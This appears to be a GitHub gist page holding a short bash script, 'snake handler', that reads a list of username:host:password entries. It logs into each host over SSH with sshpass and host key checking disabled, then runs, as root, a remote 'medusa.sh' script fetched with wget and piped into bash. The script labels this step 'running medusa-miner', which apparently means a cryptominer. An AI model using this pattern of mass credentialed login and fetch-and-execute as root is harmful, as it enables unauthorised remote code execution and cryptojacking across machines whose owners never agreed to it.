Skip to content

Instantly share code, notes, and snippets.

@mezerotm
Last active August 19, 2020 15:17
Show Gist options
  • Save mezerotm/1ea45da80f4c160dadd7dd38dbbeeddb to your computer and use it in GitHub Desktop.
Save mezerotm/1ea45da80f4c160dadd7dd38dbbeeddb to your computer and use it in GitHub Desktop.
#!/bin/bash
script_version=1.0.2
medusa_script=https://gist.githubusercontent.com/mezerotm/6266bd247a026636d6530b2f94164045/raw/57870c6974150d07a0e3553bca66812f292b961e/medusa.sh
if [ -z "$snake_handler_ip_file" ]; then
snake_handler_ip_file=snake-handler-ip-list
fi
cat << "EOF"
██████ ███▄ █ ▄▄▄ ██ ▄█▀▓█████ ██░ ██ ▄▄▄ ███▄ █ ▓█████▄ ██▓ ▓█████ ██▀███
▒██ ▒ ██ ▀█ █ ▒████▄ ██▄█▒ ▓█ ▀ ▓██░ ██▒▒████▄ ██ ▀█ █ ▒██▀ ██▌▓██▒ ▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▓██ ▀█ ██▒▒██ ▀█▄ ▓███▄░ ▒███ ▒██▀▀██░▒██ ▀█▄ ▓██ ▀█ ██▒░██ █▌▒██░ ▒███ ▓██ ░▄█ ▒
▒ ██▒▓██▒ ▐▌██▒░██▄▄▄▄██ ▓██ █▄ ▒▓█ ▄ ░▓█ ░██ ░██▄▄▄▄██ ▓██▒ ▐▌██▒░▓█▄ ▌▒██░ ▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒▒██░ ▓██░ ▓█ ▓██▒▒██▒ █▄░▒████▒ ░▓█▒░██▓ ▓█ ▓██▒▒██░ ▓██░░▒████▓ ░██████▒░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ▒▒ ▓▒█░▒ ▒▒ ▓▒░░ ▒░ ░ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ▒▒▓ ▒ ░ ▒░▓ ░░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░░ ░░ ░ ▒░ ▒ ▒▒ ░░ ░▒ ▒░ ░ ░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░░ ░░ ░ ▒░ ░ ▒ ▒ ░ ░ ▒ ░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
EOF
echo "version: $script_version"
echo "by: Adder"
echo "contributor(s): Carlos Rincon and Ian Gerard"
echo ""
echo "installing required tools..."
sudo apt install -y sshpass
sudo apt autoremove -y
echo ""
echo "running medusa-miner..."
while read payload; do
IFS=':' read -ra data <<< $payload
ssh_username=${data[0]}
ssh_hostname=${data[1]}
ssh_password=${data[2]}
echo $ssh_username@$ssh_hostname
sshpass -p $ssh_password ssh $ssh_username@$ssh_hostname -o "StrictHostKeyChecking no" "sudo su -c 'env organization_name=$organization_name bash <( wget -qO- $medusa_script )'" < /dev/null
done < $snake_handler_ip_file
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment